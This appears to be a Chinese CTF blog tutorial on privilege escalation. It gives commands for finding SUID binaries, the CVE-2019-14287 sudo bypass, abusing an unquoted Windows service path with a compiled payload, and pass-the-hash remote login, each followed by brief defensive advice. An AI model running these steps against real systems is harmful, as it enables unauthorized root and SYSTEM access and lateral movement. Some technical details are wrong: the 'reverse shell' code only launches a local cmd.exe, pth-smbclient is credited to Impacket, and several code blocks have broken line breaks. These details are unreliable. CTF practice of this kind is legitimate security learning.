0x01 权限提升的秘密
在系统攻防中,权限提升是攻击者必须掌握的技能之一。简单来说,权限提升就是在目标系统中,从一个低权限账户,获取更高权限的访问能力。这样的操作能够让攻击者从最初的入侵点,进一步控制整个系统甚至整个网络。对于安全攻防中的CTF比赛选手来说,理解权限提升的原理和技术是制胜关键。
权限提升通常分为两类:纵向提升和横向提升。纵向提升指的是从一个普通用户提升到管理员或root权限,而横向提升指的是在同一权限级别内,通过不同账户进行横向移动。本文将详细探讨这两类权限提升技术,并提供一些实战中的使用技巧。
环境搭建:练习的舞台
在深入探讨之前,有必要搭建一个安全的实验环境。我们将使用VirtualBox和Vagrant来创建一个可重复的实验环境。这套环境将包含多个虚拟机,如Kali Linux、Ubuntu Server和Windows Server,以便模拟不同的权限提升场景。
首先,安装VirtualBox和Vagrant,并在安装完毕后创建一个新的Vagrantfile:
<pre><code class="language-bash">mkdir vagrant-lab cd vagrant-lab vagrant init hashicorp/bionic64</code></pre>

编辑Vagrantfile,添加多台虚拟机配置:
<pre><code class="language-ruby">Vagrant.configure("2") do |config| config.vm.define "kali" do |kali| kali.vm.box = "kalilinux/rolling" kali.vm.network "private_network", type: "dhcp" end
config.vm.define "ubuntu" do |ubuntu| ubuntu.vm.box = "ubuntu/bionic64" ubuntu.vm.network "private_network", type: "dhcp" end
config.vm.define "windows" do |windows| windows.vm.box = "peru/windows-server-2016-standard-x64-eval" windows.vm.network "private_network", type: "dhcp" end end</code></pre>
启动虚拟机:
<pre><code class="language-bash">vagrant up</code></pre>
通过SSH连接到虚拟机:
<pre><code class="language-bash">vagrant ssh kali</code></pre>
通过这样的环境,我们可以进行各种权限提升的实验而不会影响真实的系统。
初探提权:Linux下的Exploit
漏洞成因:SUID程序
在Linux系统中,SUID是个重要的权限标识。拥有SUID位的程序,在执行时会以程序所有者的权限运行,而不是调用者的权限。这为权限提升提供了绝佳的切入点,尤其是当SUID程序存在漏洞时。

查找系统中所有的SUID程序:
<pre><code class="language-bash">find / -perm -4000 2>/dev/null</code></pre>
针对某些特定的SUID程序,可以利用已知漏洞进行权限提升。比如,有一个经典的提权漏洞CVE-2019-14287,影响了Linux上的某些版本的sudo命令。
漏洞利用:CVE-2019-14287
假设当前用户可以通过sudo以root身份执行命令,但sudoers文件将root身份的执行限制在某个命令上,我们可以绕过这个限制来提权。
POC代码如下:
<pre><code class="language-bash"># 不含限制的命令 sudo -u#-1 /bin/bash</code></pre>
执行后,我们将获得root权限的shell。
实战经验:应对与防御
加强SUID程序的管理,定期检查并限制不必要的SUID标记。此外,及时更新系统补丁,以免被已知的漏洞所利用。
Windows世界的提权技艺
攻击原理:Unquoted Service Path
Windows上的服务路径如果未被引号包裹,并且路径中存在空格,攻击者可以利用这种配置错误,通过在路径中放置恶意程序来获得系统权限。
漏洞利用:Unquoted Service Path

首先,我们需要查找未加引号的服务路径:
<pre><code class="language-powershell">Get-WmiObject win32_service | Select-Object DisplayName, PathName | Where-Object {$_.PathName -notlike '"*'} | Format-Table -AutoSize</code></pre>
如果服务路径中存在空格且无引号包围,攻击者可以在服务路径的某个位置放置恶意可执行文件,并诱使服务以更高权限运行该文件。
绕过与免杀:构造恶意程序
构建一个简单的反弹shell作为示例:
<pre><code class="language-c">#include <windows.h>
int main() { system("cmd.exe"); return 0; }</code></pre>
编译后,将其放置于未加引号路径的首个空格前的目录中,并重启服务。
防御措施:路径规范化
确保所有服务路径都用引号包裹,并定期扫描和修复系统配置。
远程提权:横向移动的艺术
原理分析:Pass-the-Hash
在Windows网络中,凭借某个用户的hash值便可以在网络中进行身份验证,而无需知道明文密码。这为攻击者提供了从一个机器移动到另一个机器的路径。
实战演示:Impacket工具集
Impacket是一套Python工具集,提供了多个用于Windows网络的攻击链工具。我们将使用其中的pth-smbclient试图在不同机器间横向移动。
安装Impacket:
<pre><code class="language-bash">pip install impacket</code></pre>
使用Pass-the-Hash技术获取远程shell:
<pre><code class="language-bash">pth-smbclient -hashes <LMHASH>:<NTHASH> <domain>/<user>@<target-ip></code></pre>
防御技巧:启用终端保护

通过WMI禁用不必要的服务,限制用户的过高权限,使用强密码策略,并定期更换密码。
总结:实战中的提权经验
在CTF比赛中,权限提升总是让人兴奋的环节之一。结合前述的技术和环境,我建议:
- 多动手操作:理论与实践结合是精通这门技艺的唯一途径。
- 持续学习:权限提升的技术日新月异,保持对最新漏洞和技术的关注尤为重要。
- 经验反思:每次练习后,都仔细分析成功或失败的原因,形成自己的解题思路。
这篇文章只是权限提升的冰山一角,期待更多的实践机会来加深理解。愿大家在安全学习的道路上,走得更远,学得更深。